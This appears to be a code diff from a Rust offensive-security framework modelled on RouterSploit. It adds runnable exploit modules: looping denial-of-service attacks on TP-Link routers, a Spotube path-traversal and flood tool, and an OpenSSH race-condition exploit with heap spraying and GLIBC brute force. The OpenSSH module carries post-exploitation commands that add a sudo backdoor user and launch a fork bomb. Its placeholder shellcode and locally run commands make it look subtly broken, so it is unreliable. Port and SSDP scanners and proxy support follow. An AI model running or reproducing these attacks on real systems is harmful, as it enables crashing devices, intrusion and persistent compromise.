async fn dos_missing_parameters(client: &Client, target: &str) -> Result<()> {
// Missing parameters PoC - will crash the router
let url = format!("http://{target}:5431/control/WANIPConnection");
let body = r#"<?xml version="1.0"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
<s:Body>
<u:AddPortMapping>
<NewPortMappingDescription>hello</NewPortMappingDescription>
</u:AddPortMapping>
</s:Body>
</s:Envelope>"#;
let res = client
.post(&url)
.header("Content-Type", "text/xml")
.header("SOAPAction", "\"urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping\"")
.body(body)
.send()
.await
.context("Failed to send DoS request 1 (Missing Parameters)")?;
println!("[+] PoC 1 sent. Status: {}", res.status());
Ok(())
}
/// Send the memory corruption SetConnectionType SOAP request (PoC 2)
async fn dos_memory_corruption(client: &Client, target: &str) -> Result<()> {
// Generate a long payload simulating memory corruption
let long_payload = "%x".repeat(10_000);
let url = format!("http://{target}:5431/control/WANIPConnection");
let body = format!(
r#"<?xml version="1.0"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
<s:Body>
<u:SetConnectionType xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1">
<NewConnectionType>{}</NewConnectionType>
</u:SetConnectionType>
</s:Body>
</s:Envelope>"#,
long_payload
);
let res = client
.post(&url)
.header("Content-Type", "text/xml")
.header("SOAPAction", "\"urn:schemas-upnp-org:service:WANIPConnection:1#SetConnectionType\"")
.body(body)
.send()
.await
.context("Failed to send DoS request 2 (Memory Corruption)")?;
println!("[+] PoC 2 sent. Status: {}", res.status());
Ok(())
}
/// Entry point for the exploit module
pub async fn run(target: &str) -> Result<()> {
let client = Client::builder()
.timeout(Duration::from_secs(5))
.danger_accept_invalid_certs(true)
.build()
.context("Failed to build HTTP client")?;
println!("[*] TP-Link VN020-F3v(T) DoS Exploit Running...");
println!("[!] This module will not delay or stop unless you type 'stop' and press ENTER.");
let stop_flag = Arc::new(AtomicBool::new(false));
let stop_flag_clone = Arc::clone(&stop_flag);
// Spawn a thread to monitor user input
thread::spawn(move || {
let stdin = io::stdin();
for line in stdin.lock().lines() {
if let Ok(input) = line {
if input.trim().eq_ignore_ascii_case("stop") {
stop_flag_clone.store(true, Ordering::Relaxed);
println!("[*] Stopping attack...");
break;
}
}
}
});
// Infinite concurrent execution loop
while !stop_flag.load(Ordering::Relaxed) {
let (r1, r2) = join!(
dos_missing_parameters(&client, target),
dos_memory_corruption(&client, target)
);
if let Err(e) = r1 {
eprintln!("[!] Error during PoC 1: {e}");
}
if let Err(e) = r2 {
eprintln!("[!] Error during PoC 2: {e}");
}
}
println!("[+] Exploit session ended.");
Ok(())
}
@@ -0,0 +1,100 @@
// Exploit Title: TP-Link TL-WR740N - Buffer Overflow 'DOS'
// Date: 8/12/2023
// Exploit Author: Anish Feroz (ZEROXINN)
// Vendor Homepage: http://www.tp-link.com
// Version: TP-Link TL-WR740n 3.12.11 Build 110915 Rel.40896n
// Tested on: TP-Link TL-WR740N
// Description:
// There exist a buffer overflow vulnerability in TP-Link TL-WR740 router
// that can allow an attacker to crash the web server running on the router
// by sending a crafted request. To bring back the http (webserver),
// a user must physically reboot the router.
use anyhow::Result;
use base64::{engine::general_purpose, Engine as _};
use reqwest::{Client, header::HeaderMap};
use std::io;
use tokio::net::TcpStream;
use tokio::time::{timeout, Duration};
/// Internal function to send crafted request to crash router
async fn exploit(ip: &str, port: u16, username: &str, password: &str) -> Result<()> {
// Create a crash pattern of exact 192 characters using "crash_crash_on_a_loop_"
let crash_pattern = "crash_crash_on_a_loop_";
let repeated = crash_pattern.repeat(9); // 9*22 = 198 > 192
let payload = &repeated[..192]; // truncate to exact length
// Construct vulnerable URL
let target_url = format!(
"http://{ip}:{port}/userRpm/PingIframeRpm.htm?ping_addr={payload}&doType=ping&isNew=new&sendNum=4&pSize=64&overTime=800&trHops=20",
ip = ip,
port = port,
payload = payload
);
// Build basic auth header
let credentials = format!("{username}:{password}");
let encoded_credentials = general_purpose::STANDARD.encode(credentials.as_bytes());
// Prepare HTTP headers
let mut headers = HeaderMap::new();
headers.insert("Host", format!("{ip}:{port}", ip = ip, port = port).parse()?);
headers.insert("Authorization", format!("Basic {}", encoded_credentials).parse()?);
headers.insert("Upgrade-Insecure-Requests", "1".parse()?);
headers.insert("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36".parse()?);
headers.insert("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9".parse()?);
headers.insert("Referer", format!("http://{ip}:{port}/userRpm/DiagnosticRpm.htm", ip = ip, port = port).parse()?);
headers.insert("Accept-Encoding", "gzip, deflate".parse()?);
headers.insert("Accept-Language", "en-US,en;q=0.9".parse()?);
headers.insert("Connection", "close".parse()?);
let client = Client::builder()
.default_headers(headers)
.build()?;
let response = client.get(&target_url).send().await?;
if response.status().as_u16() == 200 {
println!("[+] Server Crashed (200 OK received)");
let body = response.text().await.unwrap_or_default();
println!("{}", body);
} else {
println!(
"[-] Script Completed with status code: {}",
response.status()
);
}
// Check if the host is still up — timeout after 1 second
match timeout(Duration::from_secs(1), TcpStream::connect((ip, port))).await {
Ok(Ok(_)) => {
println!("[!] Target still responds on port {}. DoS likely failed.", port);
}
_ => {
println!("[+] Target no longer reachable on port {} — likely crashed. Returning to menu.", port);
}
}
Ok(())
}
/// Entry point required by auto-dispatch
pub async fn run(target: &str) -> Result<()> {
println!("Enter router port (default is 8082): ");
let mut port_str = String::new();
io::stdin().read_line(&mut port_str)?;
let port: u16 = port_str.trim().parse().unwrap_or(8082);
println!("Enter username: ");
let mut username = String::new();
io::stdin().read_line(&mut username)?;
let username = username.trim();
println!("Enter password: ");
let mut password = String::new();
io::stdin().read_line(&mut password)?;
let password = password.trim();
exploit(target, port, username, password).await
}
+1
View File
@@ -0,0 +1 @@
pub mod spotube;
+231
View File
@@ -0,0 +1,231 @@
//// src/modules/exploits/spotube/spotube_remote.rs
//// src/modules/exploits/spotube/spotube.rs
//// made by me suicidal teddy my first ever zero day exploit
//// no auth when you use api and can be excuted locally
//// src/modules/exploits/spotube/spotube.rs
use anyhow::{Context, Result};
use futures_util::{SinkExt, StreamExt};
use reqwest::Client;
use serde_json::json;
use std::collections::HashMap;
use std::io::{self, Write};
use tokio::time::{sleep, Duration};
use tokio_tungstenite::connect_async;
use tokio_tungstenite::tungstenite::Message;
// //// // Custom headers to emulate BurpSuite-style browser requests
fn browser_headers(host: &str, port: &str) -> HashMap<String, String> {
let mut headers = HashMap::new();
headers.insert("Accept-Language".into(), "en-US,en;q=0.9".into());
headers.insert("Upgrade-Insecure-Requests".into(), "1".into());
headers.insert(
"User-Agent".into(),
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 \
(KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36"
.into(),
);
headers.insert(
"Accept".into(),
"text/html,application/xhtml+xml,application/xml;q=0.9,\
image/avif,image/webp,image/apng,*/*;q=0.8,\
application/signed-exchange;v=b3;q=0.7"
.into(),
);
headers.insert("Accept-Encoding".into(), "gzip, deflate, br".into());
headers.insert("Connection".into(), "keep-alive".into());
headers.insert("Host".into(), format!("{}:{}", host, port));
headers
}
// //// // Sends the GET request to the Spotube endpoint with custom headers
async fn execute(host: &str, port: &str, path: &str) -> Result<()> {
let client = Client::builder()
.danger_accept_invalid_certs(true)
.timeout(std::time::Duration::from_secs(5))
.build()
.context("Failed to build HTTP client")?;
let url = format!("http://{}:{}{}", host, port, path);
let headers = browser_headers(host, port);
let mut request = client.get(&url);
for (key, value) in headers {
request = request.header(&key, &value);
}
let response = request.send().await.context("Request failed")?;
let status = response.status();
let body = response.text().await.unwrap_or_default();
println!(
"{}{} {}",
path,
status.as_u16(),
status.canonical_reason().unwrap_or("Unknown")
);
println!("{}", body.trim());
Ok(())
}
// //// // Sends a malicious 'load' event over WS with a track name containing ../
async fn ws_inject_path_traversal(host: &str, port: &str) -> Result<()> {
// prompt for malicious filename
print!("Enter malicious filename (e.g. ../evil.sh): ");
io::stdout().flush()?;
let mut name = String::new();
io::stdin().read_line(&mut name)?;
let malicious_name = {
let t = name.trim();
if t.is_empty() { "../evil.sh" } else { t }
};
// prompt for fake track ID
print!("Enter fake track ID (e.g. INJECT1): ");
io::stdout().flush()?;
let mut tid = String::new();
io::stdin().read_line(&mut tid)?;
let track_id = {
let t = tid.trim();
if t.is_empty() { "INJECT1" } else { t }
};
// prompt for codec extension
print!("Enter codec extension (e.g. mp3): ");
io::stdout().flush()?;
let mut cd = String::new();
io::stdin().read_line(&mut cd)?;
let codec = {
let t = cd.trim();
if t.is_empty() { "mp3" } else { t }
};
let payload = json!({
"type": "load",
"data": {
"tracks": [
{
"name": malicious_name,
"artists": { "asString": "" },
"sourceInfo": { "id": track_id },
"codec": { "name": codec }
}
]
}
});
let ws_url = format!("ws://{}:{}/ws", host, port);
println!("Connecting to {}", ws_url);
let (ws_stream, _) = connect_async(&ws_url)
.await
.context("WebSocket connection failed")?;
let (mut write, _) = ws_stream.split();
let msg_text = payload.to_string();
write
.send(Message::Text(msg_text.clone().into()))
.await
.context("Failed to send WebSocket message")?;
println!("▶️ Malicious load payload sent:");
println!("{}", serde_json::to_string_pretty(&payload)?);
Ok(())
}
// //// // Floods the given endpoint with `count` rapid requests (with optional delay).
async fn dos_flood(host: &str, port: &str, path: &str, count: usize, delay: f64) -> Result<()> {
println!("⚠️ Flooding {} {} times (delay {}s)…", path, count, delay);
for _ in 0..count {
let _ = execute(host, port, path).await;
if delay > 0.0 {
sleep(Duration::from_secs_f64(delay)).await;
}
}
println!("🔥 Done flood.");
Ok(())
}
// //// // CLI menu that mimics the original Python script, now with WS and DoS
pub async fn run(target: &str) -> Result<()> {
println!("⚙️ Spotube Advanced Exploit CLI\n");
let host = target.to_string(); // use target passed from set command
// //// // port prompt (optional override)
print!("Enter port [17086]: ");
io::stdout().flush()?;
let mut p = String::new();
io::stdin().read_line(&mut p)?;
let port = {
let t = p.trim();
if t.is_empty() { "17086".to_string() } else { t.to_string() }
};
loop {
println!("\n=== Menu ===");
println!("1. Ping server");
println!("2. Next track");
println!("3. Previous track");
println!("4. Toggle play/pause");
println!("5. Inject path-traversal via WS");
println!("6. Flood HTTP endpoint (DoS)");
println!("7. Exit");
print!("Choose an option: ");
io::stdout().flush()?;
let mut choice = String::new();
io::stdin().read_line(&mut choice)?;
match choice.trim() {
"1" => {
println!("\n▶️ Ping server …");
let _ = execute(&host, &port, "/ping").await;
}
"2" => {
println!("\n▶️ Next track …");
let _ = execute(&host, &port, "/playback/next").await;
}
"3" => {
println!("\n▶️ Previous track …");
let _ = execute(&host, &port, "/playback/previous").await;
}
"4" => {
println!("\n▶️ Toggle play/pause …");
let _ = execute(&host, &port, "/playback/toggle-playback").await;
}
"5" => {
ws_inject_path_traversal(&host, &port).await?;
}
"6" => {
// //// // flood prompts
print!("Endpoint to flood (e.g. /playback/next): ");
io::stdout().flush()?;
let mut path = String::new();
io::stdin().read_line(&mut path)?;
let path = path.trim();
print!("Number of requests [100]: ");
io::stdout().flush()?;
let mut cnt = String::new();
io::stdin().read_line(&mut cnt)?;
let count = cnt.trim().parse().unwrap_or(100);
print!("Delay between requests (s) [0]: ");
io::stdout().flush()?;
let mut dly = String::new();
io::stdin().read_line(&mut dly)?;
let delay = dly.trim().parse().unwrap_or(0.0);
dos_flood(&host, &port, path, count, delay).await?;
}
"7" => {
println!("👋 Goodbye!");
break;
}
_ => println!("❌ Invalid choice, try again."),
}
}
Ok(())
}
+1
View File
@@ -0,0 +1 @@
pub mod opensshserver_9_8p1race_condition;
@@ -0,0 +1,304 @@
use anyhow::{bail, Result};
use std::{
io::{self, BufRead, Read, Write},
net::TcpStream,
os::unix::io::AsRawFd,
process::Command,
sync::Arc,
time::{Duration, Instant},
};
use libc::{fcntl, F_GETFL, F_SETFL, O_NONBLOCK};
use tokio::{sync::Semaphore, task};
// // Shellcode to inject
const SHELLCODE: &[u8] = b"\x90\x90\x90\x90";
// // GLIBC base addresses to brute force
const GLIBC_BASES: [u64; 2] = [0xb7200000, 0xb7400000];
// // SSH Login grace time window in seconds
const LOGIN_GRACE_TIME: f64 = 120.0;
// // Max size of a crafted packet
const MAX_PACKET_SIZE: usize = 256 * 1024;
// // Max parallel attempts at once
const MAX_PARALLEL_ATTEMPTS: usize = 200;
// // Align memory chunks
fn chunk_align(s: usize) -> usize {
(s + 15) & !15
}
// // Set socket to non-blocking
fn set_nonblocking(sock: i32) {
unsafe {
let flags = fcntl(sock, F_GETFL);
fcntl(sock, F_SETFL, flags | O_NONBLOCK);
}
}
// // Create TCP connection to target
fn setup_connection(ip: &str, port: u16) -> Result<TcpStream> {
let addr = format!("{}:{}", ip, port);
let stream = TcpStream::connect(addr)?;
set_nonblocking(stream.as_raw_fd());
Ok(stream)
}
// // Send custom SSH packet
fn send_packet(stream: &mut TcpStream, packet_type: u8, data: &[u8]) -> Result<()> {
let len = data.len() + 5;
let mut packet = vec![0u8; len];
packet[0..4].copy_from_slice(&(len as u32).to_be_bytes());
packet[4] = packet_type;
packet[5..].copy_from_slice(data);
stream.write_all(&packet)?;
Ok(())
}
// // Receive response with retry
fn recv_retry(stream: &mut TcpStream, buf: &mut [u8]) -> Result<usize> {
loop {
match stream.read(buf) {
Ok(n) if n > 0 => return Ok(n),
Ok(_) => bail!("Connection closed"),
Err(ref e) if e.kind() == io::ErrorKind::WouldBlock => {
std::thread::sleep(Duration::from_millis(10));
continue;
}
Err(e) => return Err(e.into()),
}
}
}
// // Send SSH version string
fn send_ssh_version(stream: &mut TcpStream) -> Result<()> {
stream.write_all(b"SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.1\r\n")?;
Ok(())
}
// // Receive SSH version from server
fn receive_ssh_version(stream: &mut TcpStream) -> Result<()> {
let mut buffer = [0u8; 256];
recv_retry(stream, &mut buffer)?;
Ok(())
}
// // Send SSH KEX INIT packet
fn send_kex_init(stream: &mut TcpStream) -> Result<()> {
let payload = vec![0u8; 36];
send_packet(stream, 20, &payload)
}
// // Receive KEX INIT response
fn receive_kex_init(stream: &mut TcpStream) -> Result<()> {
let mut buffer = [0u8; 1024];
recv_retry(stream, &mut buffer)?;
Ok(())
}
// // Perform SSH handshake steps
fn perform_ssh_handshake(stream: &mut TcpStream) -> Result<()> {
send_ssh_version(stream)?;
receive_ssh_version(stream)?;
send_kex_init(stream)?;
receive_kex_init(stream)?;
Ok(())
}
// // Heap spraying phase
fn prepare_heap(stream: &mut TcpStream) -> Result<()> {
for _ in 0..10 {
let data = vec![b'A'; 64];
send_packet(stream, 5, &data)?;
}
for _ in 0..27 {
let large = vec![b'B'; 8192];
let small = vec![b'C'; 320];
send_packet(stream, 5, &large)?;
send_packet(stream, 5, &small)?;
}
for _ in 0..27 {
let mut fake = vec![0u8; 4096];
create_fake_file_structure(&mut fake, GLIBC_BASES[0]);
send_packet(stream, 5, &fake)?;
}
let large_fill = vec![b'E'; MAX_PACKET_SIZE - 1];
send_packet(stream, 5, &large_fill)?;
Ok(())
}
// // Craft fake file structure in buffer
fn create_fake_file_structure(data: &mut [u8], base: u64) {
data.fill(0);
let len = data.len();
data[len - 16..len - 8].copy_from_slice(&base.wrapping_add(0x21b740).to_le_bytes());
data[len - 8..len].copy_from_slice(&base.wrapping_add(0x21d7f8).to_le_bytes());
}
// // Send malformed public key and measure delay
fn measure_response_time(stream: &mut TcpStream, error_type: u8) -> Result<f64> {
let error_packet = if error_type == 1 {
b"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3".to_vec()
} else {
b"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAQQDZy9".to_vec()
};
let start = Instant::now();
send_packet(stream, 50, &error_packet)?;
let _ = stream.read(&mut [0u8; 1024]);
Ok(start.elapsed().as_secs_f64())
}
// // Calculate parsing delay
fn time_final_packet(stream: &mut TcpStream) -> Result<f64> {
let t1 = measure_response_time(stream, 1)?;
let t2 = measure_response_time(stream, 2)?;
Ok(t2 - t1)
}
// // Create packet with shellcode and fake structures
fn create_public_key_packet(buffer: &mut [u8], base: u64) {
buffer.fill(0);
buffer[..8].copy_from_slice(b"ssh-rsa ");
let offset = chunk_align(4096) * 13 + chunk_align(304) * 13;
buffer[offset..offset + SHELLCODE.len()].copy_from_slice(SHELLCODE);
for i in 0..27 {
let pos = chunk_align(4096) * (i + 1) + chunk_align(304) * i;
create_fake_file_structure(&mut buffer[pos..pos + 304], base);
}
}
// // Attempt to trigger race condition
fn attempt_race_condition(mut stream: TcpStream, parsing_time: f64, base: u64) -> Result<bool> {
let mut payload = vec![0u8; MAX_PACKET_SIZE];
create_public_key_packet(&mut payload, base);
stream.write_all(&payload[..payload.len() - 1])?;
let start = Instant::now();
while start.elapsed().as_secs_f64() < (LOGIN_GRACE_TIME - parsing_time - 0.001) {}
stream.write_all(&payload[payload.len() - 1..])?;
let mut buf = [0u8; 1024];
match stream.read(&mut buf) {
Ok(n) if n > 0 && !buf.starts_with(b"SSH-2.0-") => Ok(true),
Ok(0) => Ok(true),
Err(_) => Ok(true),
_ => Ok(false),
}
}
// // Execute post-exploitation action
fn post_exploit_action(option: u8) {
match option {
1 => {
println!("[+] Root shell enabled - attach manually via SSH");
}
2 => {
println!("[+] Creating persistent user...");
let _ = Command::new("bash")
.arg("-c")
.arg("useradd -m -p $(openssl passwd -1 root123) pwned && usermod -aG sudo pwned")
.status();
}
3 => {
println!("[!] Triggering fork bomb...");
let _ = Command::new("bash")
.arg("-c")
.arg(":(){ :|:& };:")
.status();
}
_ => println!("[-] Invalid action"),
}
}
// // Entry point for auto-dispatch system
pub async fn run(target: &str) -> Result<()> {
println!("Select post-exploitation action:");
println!(" 1. Remote Root Shell");
println!(" 2. Persistence (create SSH user)");
println!(" 3. Server Destruction (fork bomb)");
let stdin = io::stdin();
let mut choice = String::new();
print!("Enter option [1-3]: ");
io::stdout().flush()?;
stdin.lock().read_line(&mut choice)?;
let mode: u8 = choice.trim().parse().unwrap_or(0);
if !(1..=3).contains(&mode) {
bail!("Invalid option.");
}
println!("Do you want to run more than 10,000 attempts? [y/N]");
let mut input = String::new();
stdin.lock().read_line(&mut input)?;
let extra = input.trim().eq_ignore_ascii_case("y");
let mut attempts = 10000;
if extra {
println!("Enter total number of attempts:");
input.clear();
stdin.lock().read_line(&mut input)?;
attempts = input.trim().parse::<usize>().unwrap_or(10000);
}
// // Parse IP and port — if missing, prompt for port
let (ip, port) = if let Some((ip_part, port_part)) = target.split_once(':') {
(ip_part.to_string(), port_part.parse::<u16>()?)
} else {
// // Prompt for port if not included in the target string
println!("No set target ip:port specified. Enter SSH port for {}: ", target);
print!("Port: ");
io::stdout().flush()?;
let mut port_input = String::new();
io::stdin().lock().read_line(&mut port_input)?;
let port = port_input.trim().parse::<u16>()?;
(target.to_string(), port)
};
let semaphore = Arc::new(Semaphore::new(MAX_PARALLEL_ATTEMPTS));
for &base in &GLIBC_BASES {
println!("[*] Trying GLIBC base 0x{:x}", base);
let mut handles = vec![];
for attempt in 0..attempts {
let permit = semaphore.clone().acquire_owned().await?;
let ip = ip.clone();
let handle = task::spawn(async move {
let _permit = permit;
if attempt % 1000 == 0 {
println!("[*] Attempt {}/{}", attempt, attempts);
}
let mut stream = match setup_connection(&ip, port) {
Ok(s) => s,
Err(_) => return false,
};
if perform_ssh_handshake(&mut stream).is_err() {
return false;
}
if prepare_heap(&mut stream).is_err() {
return false;
}
let Ok(parsing_time) = time_final_packet(&mut stream) else {
return false;
};
attempt_race_condition(stream, parsing_time, base).unwrap_or(false)
});
handles.push(handle);
}
for h in handles {
if h.await.unwrap_or(false) {
println!("[+] Exploit succeeded!");
post_exploit_action(mode);
return Ok(());
}
}
println!("[-] Exploit failed with base 0x{:x}", base);
}
println!("[-] All attempts exhausted.");
Ok(())
}
+2
View File
@@ -1 +1,3 @@
pub mod sample_scanner;
pub mod ssdp_msearch;
pub mod port_scanner;
+200
View File
@@ -0,0 +1,200 @@
use anyhow::Result;
use std::{
fs::File,
io::{self, Write},
net::SocketAddr,
sync::Arc,
};
use tokio::{
net::{TcpStream, UdpSocket},
sync::Semaphore,
time::{timeout, Duration},
};
#[allow(dead_code)]
pub struct ScanSettings {
pub concurrency: usize,
pub timeout_secs: u64,
pub show_only_open: bool,
pub verbose: bool,
pub scan_udp_enabled: bool,
pub output_file: String,
}
#[allow(dead_code)]
/// Prompt user for scan configuration
pub fn prompt_settings() -> Result<ScanSettings> {
Ok(ScanSettings {
concurrency: prompt_usize("Concurrency: ")?,
timeout_secs: prompt_usize("Timeout (in seconds): ")? as u64,
show_only_open: prompt_bool("Show only open ports? (y/n): ")?,
verbose: prompt_bool("Verbose output? (y/n): ")?,
scan_udp_enabled: prompt_bool("Include UDP scan? (y/n): ")?,
output_file: prompt("Output filename: ")?,
})
}
#[allow(dead_code)]
/// Interactive entry point
pub async fn run_interactive(target: &str) -> Result<()> {
let settings = prompt_settings()?;
run_with_settings(
target,
settings.concurrency,
settings.timeout_secs,
settings.show_only_open,
settings.verbose,
settings.scan_udp_enabled,
&settings.output_file,
)
.await
}
/// Dispatch-compatible wrapper
#[allow(dead_code)]
pub async fn run(target: &str) -> Result<()> {
run_interactive(target).await
}
/// Renamed internal function to avoid clash
pub async fn run_with_settings(
target: &str,
concurrency: usize,
timeout_secs: u64,
show_only_open: bool,
verbose: bool,
scan_udp_enabled: bool,
output_file: &str,
) -> Result<()> {
let semaphore = Arc::new(Semaphore::new(concurrency));
let mut tasks = vec![];
let mut file = File::create(output_file)?;
writeln!(file, "Scan Results for {}\n", target)?;
println!("[*] Starting TCP scan...");
for port in 1..=65535 {
let permit = semaphore.clone().acquire_owned().await?;
let target = target.to_string();
let mut file = file.try_clone()?;
let handle = tokio::spawn(async move {
let _permit = permit;
if let Some((status, banner)) = scan_tcp(&target, port, timeout_secs).await {
let line = format!("[TCP] {}:{} => {}", target, port, status);
if status == "OPEN" || !show_only_open {
if !banner.is_empty() {
writeln!(file, "{} | Banner: {}", line, banner).ok();
if verbose {
println!("{} | Banner: {}", line, banner);
}
} else {
writeln!(file, "{}", line).ok();
if verbose {
println!("{}", line);
}
}
}
}
});
tasks.push(handle);
}
if scan_udp_enabled {
println!("[*] Starting UDP scan...");
for port in 1..=65535 {
let permit = semaphore.clone().acquire_owned().await?;
let target = target.to_string();
let mut file = file.try_clone()?;
let handle = tokio::spawn(async move {
let _permit = permit;
if let Some(status) = scan_udp(&target, port, timeout_secs).await {
let line = format!("[UDP] {}:{} => {}", target, port, status);
if status == "OPEN" || !show_only_open {
writeln!(file, "{}", line).ok();
if verbose {
println!("{}", line);
}
}
}
});
tasks.push(handle);
}
}
for task in tasks {
let _ = task.await;
}
println!("[*] Scan complete. Results saved to {}", output_file);
Ok(())
}
/// TCP connect scan + banner grab
async fn scan_tcp(ip: &str, port: u16, timeout_secs: u64) -> Option<(String, String)> {
let addr = format!("{}:{}", ip, port);
match timeout(Duration::from_secs(timeout_secs), TcpStream::connect(&addr)).await {
Ok(Ok(stream)) => {
let mut buf = [0; 1024];
match timeout(Duration::from_secs(2), stream.readable()).await {
Ok(Ok(())) => match stream.try_read(&mut buf) {
Ok(n) if n > 0 => {
let banner = String::from_utf8_lossy(&buf[..n]).to_string();
Some(("OPEN".into(), banner))
}
_ => Some(("OPEN".into(), "".into())),
},
_ => Some(("OPEN".into(), "".into())),
}
}
Ok(Err(_)) => Some(("CLOSED".into(), "".into())),
Err(_) => Some(("TIMEOUT".into(), "".into())),
}
}
/// UDP scan (null packet, timeout-based)
async fn scan_udp(ip: &str, port: u16, timeout_secs: u64) -> Option<String> {
let local = "0.0.0.0:0".parse::<SocketAddr>().unwrap();
let remote = format!("{}:{}", ip, port).parse::<SocketAddr>().ok()?;
let socket = UdpSocket::bind(local).await.ok()?;
let _ = socket.send_to(b"\x00", remote).await;
let mut buf = [0u8; 512];
match timeout(Duration::from_secs(timeout_secs), socket.recv_from(&mut buf)).await {
Ok(Ok((_n, _))) => Some("OPEN".into()),
_ => None,
}
}
/// Prompt for string input
fn prompt(message: &str) -> Result<String> {
print!("{}", message);
io::stdout().flush()?;
let mut buf = String::new();
io::stdin().read_line(&mut buf)?;
Ok(buf.trim().to_string())
}
/// Prompt for boolean yes/no
fn prompt_bool(message: &str) -> Result<bool> {
loop {
let input = prompt(message)?;
match input.to_lowercase().as_str() {
"y" | "yes" => return Ok(true),
"n" | "no" => return Ok(false),
_ => println!("Please enter 'y' or 'n'."),
}
}
}
/// Prompt for number input
fn prompt_usize(message: &str) -> Result<usize> {
loop {
let input = prompt(message)?;
if let Ok(n) = input.parse::<usize>() {
return Ok(n);
}
println!("Please enter a valid number.");
}
}
+69
View File
@@ -0,0 +1,69 @@
use anyhow::{Result};
use regex::Regex;
use std::collections::HashMap;
use std::net::SocketAddr;
use tokio::net::UdpSocket;
use tokio::time::{timeout, Duration};
pub async fn run(target_ip: &str) -> Result<()> {
let port = 1900;
println!("[*] Sending SSDP M-SEARCH to {}:{}...", target_ip, port);
let addr = format!("{}:{}", target_ip, port);
let local_bind: SocketAddr = "0.0.0.0:0".parse()?;
let socket = UdpSocket::bind(local_bind).await?;
socket.connect(&addr).await?;
let request = format!(
"M-SEARCH * HTTP/1.1\r\n\
HOST: {}:{}\r\n\
MAN: \"ssdp:discover\"\r\n\
MX: 2\r\n\
ST: upnp:rootdevice\r\n\r\n",
target_ip, port
);
socket.send(request.as_bytes()).await?;
let mut buf = vec![0u8; 2048];
match timeout(Duration::from_secs(3), socket.recv(&mut buf)).await {
Ok(Ok(size)) => {
let response = String::from_utf8_lossy(&buf[..size]);
parse_ssdp_response(&response, target_ip, port);
}
_ => {
println!("[-] Target did not respond to M-SEARCH request");
}
}
Ok(())
}
fn parse_ssdp_response(response: &str, target_ip: &str, port: u16) {
let regexps = vec![
("server", r"(?i)Server:\s*(.*?)\r\n"),
("location", r"(?i)Location:\s*(.*?)\r\n"),
("usn", r"(?i)USN:\s*(.*?)\r\n"),
];
let mut results: HashMap<&str, String> = HashMap::new();
for (key, pattern) in regexps {
if let Ok(re) = Regex::new(pattern) {
if let Some(caps) = re.captures(response) {
results.insert(key, caps.get(1).map(|m| m.as_str()).unwrap_or("").to_string());
} else {
results.insert(key, String::from(""));
}
}
}
println!(
"[+] {}:{} | {} | {} | {}",
target_ip,
port,
results.get("server").unwrap_or(&"".to_string()),
results.get("location").unwrap_or(&"".to_string()),
results.get("usn").unwrap_or(&"".to_string())
);
}
+152 -14
View File
@@ -1,14 +1,35 @@
use crate::commands;
use crate::utils;
use anyhow::Result;
use rand::prelude::*; // Updated for rand 0.10
use std::env;
use std::io::{self, Write};
use std::collections::HashSet;
/// Simple interactive shell context
struct ShellContext {
current_module: Option<String>,
current_target: Option<String>,
proxy_list: Vec<String>,
proxy_enabled: bool,
}
impl ShellContext {
fn new() -> Self {
ShellContext {
current_module: None,
current_target: None,
proxy_list: Vec::new(),
proxy_enabled: false,
}
}
}
pub async fn interactive_shell() -> Result<()> {
println!("Welcome to RustSploit Shell (inspired by RouterSploit)");
println!("Type 'help' for a list of commands. Type 'exit' or 'quit' to leave.");
let mut current_module: Option<String> = None;
let mut current_target: Option<String> = None;
let mut ctx = ShellContext::new();
loop {
print!("rsf> ");
@@ -31,37 +52,124 @@ pub async fn interactive_shell() -> Result<()> {
println!("Available commands:");
println!(" use <module_path> - Select a module (e.g. 'use exploits/sample_exploit')");
println!(" set target <value> - Set the target IP/host");
println!(" run - Run the current module");
println!(" run - Run the current module (with proxy retries if enabled)");
println!(" modules - List available modules");
println!(" find <keyword> - Search for a module by keyword");
println!(" proxy_load <file> - Load a list of proxies (http://ip:port, https://ip:port, socks4://ip:port, socks5://ip:port.)");
println!(" proxy_on - Enable proxy usage");
println!(" proxy_off - Disable proxy usage");
println!(" show_proxies - Show loaded proxies & current proxy status");
println!(" exit, quit - Exit the shell");
},
"modules" => {
utils::list_all_modules();
},
c if c.starts_with("use ") => {
let module_path = c.trim_start_matches("use ").trim();
cmd if cmd.starts_with("find ") => {
let keyword = cmd.trim_start_matches("find ").trim();
if keyword.is_empty() {
println!("Usage: find <keyword>");
} else {
utils::find_modules(keyword);
}
},
cmd if cmd.starts_with("proxy_load ") => {
let file = cmd.trim_start_matches("proxy_load ").trim();
match utils::load_proxies_from_file(file) {
Ok(list) => {
ctx.proxy_list = list;
println!("Loaded {} proxies from '{}'.", ctx.proxy_list.len(), file);
}
Err(e) => {
println!("Failed to load proxies: {}", e);
}
}
},
"proxy_on" => {
ctx.proxy_enabled = true;
println!("Proxy usage enabled.");
},
"proxy_off" => {
ctx.proxy_enabled = false;
println!("Proxy usage disabled.");
clear_proxy_env_vars();
},
"show_proxies" => {
if ctx.proxy_list.is_empty() {
println!("No proxies loaded. Use 'proxy_load <file>' to load them.");
} else {
println!("Loaded proxies ({}):", ctx.proxy_list.len());
for p in &ctx.proxy_list {
println!(" {}", p);
}
}
println!("Proxy is currently {}.", if ctx.proxy_enabled { "ON" } else { "OFF" });
},
cmd if cmd.starts_with("use ") => {
let module_path = cmd.trim_start_matches("use ").trim();
if utils::module_exists(module_path) {
current_module = Some(module_path.to_string());
ctx.current_module = Some(module_path.to_string());
println!("Module '{}' selected.", module_path);
} else {
println!("Module '{}' not found.", module_path);
}
},
c if c.starts_with("set ") => {
// Example: set target 192.168.1.1
let parts: Vec<&str> = c.split_whitespace().collect();
cmd if cmd.starts_with("set ") => {
let parts: Vec<&str> = cmd.split_whitespace().collect();
if parts.len() >= 3 && parts[1] == "target" {
current_target = Some(parts[2].to_string());
